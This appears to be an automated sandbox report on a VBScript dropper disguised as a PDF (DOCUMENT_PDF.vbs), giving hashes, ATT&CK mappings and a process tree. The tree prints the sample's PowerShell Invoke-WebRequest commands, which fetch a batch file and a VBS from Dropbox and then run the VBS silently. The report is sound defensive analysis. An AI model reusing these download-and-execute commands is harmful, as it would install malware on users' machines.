5a042d26d35888fb4aa16160716f4bd30627fdbcde42a57297703efd0aa4514e

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/07/2026, 18:21

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General

Target
DOCUMENT_PDF.vbs
Size 1KB
Sample260731-wzerysyard
SHA256 5a042d26d35888fb4aa16160716f4bd30627fdbcde42a57297703efd0aa4514e
MD5 bc6820603379a60a74fce1983471dad9
SHA1 054f8043f0bac02e6676b979243159a10b7be3da
SHA512 773c941c66219090907206632e3f7ace3f3bc92184d406456373df4ab4e277f66e282a001bcd33b7a1dd072350b93342d7a3b8dcd4970c57c7c13322d3926e69
TLSH
T1D321574A190BE1A65A774AB1192F940CDF9F401B4BF4C0EFB5E8C88D5E70978523654F
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	536	powershell.exe
6	536	powershell.exe
20	1696	powershell.exe
22	1696	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
536	powershell.exe
1696	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
708	WScript.exe
240	cscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
536	powershell.exe
536	powershell.exe
1696	powershell.exe
1696	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	536	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 708 wrote to memory of 536	708	WScript.exe	85
PID 708 wrote to memory of 1696	708	WScript.exe	92
PID 708 wrote to memory of 240	708	WScript.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DOCUMENT_PDF.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/5bpb5u0uwwxn4ckn0no5r/run.bat?rlkey=6xzt1yoik5kky2cu3x1xwk9at&st=e3j107pu&dl=1' -OutFile 'C:\Users\Admin\AppData\Local\Temp\upd_cache\run.bat'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/299tlu8ijj931tmtgqj5a/Document.vbs?rlkey=wdhr5k5hw7mso2tq78i8nodop&st=u956gd65&dl=1' -OutFile 'C:\Users\Admin\AppData\Local\Temp\upd_cache\sys_doc.vbs'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1696
- C:\Windows\System32\cscript.exe
  "C:\Windows\System32\cscript.exe" //B C:\Users\Admin\AppData\Local\Temp\upd_cache\sys_doc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:240

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 411700571d36520d02601dc0baeea48bd2dcd421b14b93570d1532cad81ab1b4
MD5 7b1e2a1146ce1978051629c6aa5bd0c9
SHA1 0c035ff63977acd8ea4b48f96891f077686c945d
SHA512 a2c618c27ecf52bec4100af709760309ec11dfe618264c4936c80f6bd1b15691ed01a7c78bd871959b005bd1133969f3fc66b3e2cfc453222173d55e3f53bc72
TLSH
T18011B623F39CC920CC86153A409EAC1132B283DB41AECF9F6FC0C214A07F984CB71290
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_1hjvcpqn.2pj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1hjvcpqn.2pj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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sys_doc.vbs

Path C:\Users\Admin\AppData\Local\Temp\upd_cache\sys_doc.vbs
Size 53B
SHA256 1466c87b3a405f5013a4113d3d495ee33e54580ad0ddf7624cf78d4b6886427d
MD5 becff453a56fbda316abced485e77641
SHA1 987ffe10ee97251306fc3800d093bcf3f77efac5
SHA512 ba66ac089ccd4a18d48242beef8a17ab0706f4a4a0ae3467fee0beebe73bb14779219e3e8d983252a12bc6c968b37e8b3b4448385a625641a82a2a6efce39242
TLSH
T1D59002097408D565417581C91131880D898495955100A55A86509549616DA505615402
MD5 SHA1 SHA512 TLSH

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memory/536-0-0x0000020F73740000-0x0000020F73750000-memory.dmp

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memory/536-1-0x0000020F5B5B0000-0x0000020F5B5D2000-memory.dmp

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memory/536-9-0x0000020F73740000-0x0000020F73750000-memory.dmp

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memory/536-10-0x0000020F73740000-0x0000020F73750000-memory.dmp

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memory/536-11-0x0000020F73740000-0x0000020F73750000-memory.dmp

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